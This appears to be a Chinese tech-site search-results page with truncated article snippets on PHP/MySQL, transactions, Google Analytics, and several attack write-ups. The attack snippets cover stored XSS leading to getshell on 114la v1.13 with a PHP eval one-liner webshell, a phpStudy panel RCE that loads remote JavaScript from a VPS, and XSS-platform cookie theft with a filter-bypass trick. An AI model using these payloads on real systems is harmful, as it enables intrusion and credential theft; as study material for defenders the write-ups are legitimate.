首页
学习
活动
专区
圈层
工具
发布

PHP判读MySQL是否执行成功

针对update 语句等会对数据表进行修改的语句 在mysql_query($sql);后面加上 $result = mysql_affected_rows();  如果$result 值为-1表明语句没有成功执行...,可能是语句格式有问题等等; 如果$result 值为0 表明语句成功执行,但是update并没有改变数据表任何一个字段的值; 如果$result值为1 表明语句成功执行, 而且update改变了数据表的某个或者多个字段的值...; 针对select 等等查询类不对数据表任何值进行修改的语句 在 mysql_query($sql);后面加上 $result = mysql_num_rows(mysql_query); 如果$result...值为-1,表明语句没有成功执行,可能是语句格式有问题等等, 如果$result 值为0,表明语句成功执行,但是查询结果为空 如果$result 值为x(x>0),表明成功执行,且查询结果中有x条记录...本文采用 「CC BY-NC-SA 4.0」创作共享协议,转载请标注以下信息: 原文出处:Yiiven https://www.yiiven.cn/php-sql-excute-is-successfull.html

2.5K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    114啦-V1.13导航站Getshell

    114啦是一个老牌的网址导航站,采用php+Mysql架构,基于Smarty模板引擎。V1.13中包含XSS漏洞,可以利用来Getshell。...,造成了存储型XSS漏洞 在网站名称那一栏插入JS,其它的符合要求填写就可以了,然后提交, alert(123); 但是提交后不会弹窗,查看数据库,看到JS代码确实插入到了数据库中...,这就是XSS盲打 当管理员在后台访问收录管理时,注入的JS代码就会执行,可以看到成功弹框 既然JS代码能够成功执行,那我们插入一个添加管理员账户的远程JS文件,等待管理员查看网站收录审核的时候就会执行...jwt管理员 Getshell 由于114la网站使用的smarty模板引擎,而smarty支持插入php代码,这样就会导致漏洞产生了 smarty里面执行PHP代码 : php}>代码php...}> 那我们登录jwt用户,进入模板管理->申请收录版块->插入PHP一句话木马 php}>@eval($_POST['a']);php}> 然后我们用连接,到这里我们就成功Getshell

    1.2K21

    数据库事务与并发处理

    例子:事务 A 修改了数据,但未提交;事务 B 读取了该数据。若事务 A 回滚,事务 B 读取的数据就是错误的。...幻读(Phantom Read) 一个事务读取了多条记录,但另一个事务插入了新记录,导致前后结果不一致。 例子:事务 A 查询符合条件的记录数,事务 B 插入一条新记录并提交。...在 PHP 中使用事务与并发处理以下以 PDO 和 MySQL 为例,讲解如何在 PHP 中实现事务。4.1 启用事务php// 创建 PDO 对象$dsn = "mysql:host=localhost;dbname=test;charset=utf8mb4";$username = "root";$password...5.3 用户注册在用户注册时,需要插入用户信息,并发送欢迎邮件。如果插入失败,不应发送邮件。6. 提高事务性能的最佳实践尽量缩小事务范围 在事务中只包含必要的操作,减少锁的持有时间。

    1K00

    phpstudy小皮Windows面板RCE漏洞

    该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境.该程序不仅包括PHP调试环境,还包括了开发工具...影响版本 小皮windows面板V0.102以及以下版本 官网版本已修复该漏洞,漏洞版本下载:http://www.ddooo.com/softdown/224005.htm 漏洞复现 安装成功后弹出初始账号密码...在VPS部署需要插入的 poc.js 文件(写入目录根据本地实际情况修改) functionpoc(){ $.get('/service/app/tasks.php?...save_shell',data,function(res){ poc(); },'json'); } save(); js...> #插入登陆框中,加载远程js代码 修复方式 更新到最新版的小皮面板,最新版小皮面板已经修复该漏洞。

    1.2K10

    Web安全Day2 - XSS跨站实战攻防

    设置一下后台登陆密码 点击下一步,部署成功 2.3.4 平台使用 登陆平台,在公共模版处使用默认js来进行 修改一下网站的地址 改成这样即可 点击下面的修改即可成功应用...下面开始使用这个默认的JS脚本进行XSS,复制一下js地址https://aixic.cn/XXXSSS/template/default.js 在DVWA中插入试试 js> 能成功反射cookie 2.3.5 平台扩展 2.3.5.1 XSS平台反射注入 介绍一个之前在比赛看见有个师傅玩的操作...$text; $sql.= "')"; $result = mysql_query($sql); } } ?> 实例化成功 4....如果我们将一个utf8mb4字符插入到utf8编码的列中,那么在mysql的非strict mode下,他的做法是将后面的内容截断。截断的话,就能绕过很多富文本过滤器了。

    1.9K40

    面向网站的Google Analytics

    本文档还假设您已按照我们的LAMP(Linux + Apache + MySQL/MariaDB/Percona + PHP)文档中的说明配置了您的Apache服务器,其中公共可访问目录位于类似与/var...3.如果您的网站没有单独的头文件,则您就需要在每个页面中都插入代码,请直接跳至步骤4;假如有头文件,请打开头文件(此例中为header.php)并将以下代码添加到标签后:[6u31qjpu1b.png...4.如果您的PHP网站没有头文件模板,那么您可以通过终端将所需的代码插入您的网站。首先请确保您已位于保存网站文件的目录中。...5.要查看代码是否已成功插入到您网站的文件中,您可以在浏览器中打开网站并查看源文件,或在终端中打开文件。...5.如果需要检查代码是否已成功插入到.html文件中,您可以在浏览器中打开网站并查看源代码,或查看终端中的文件。

    4K50
    领券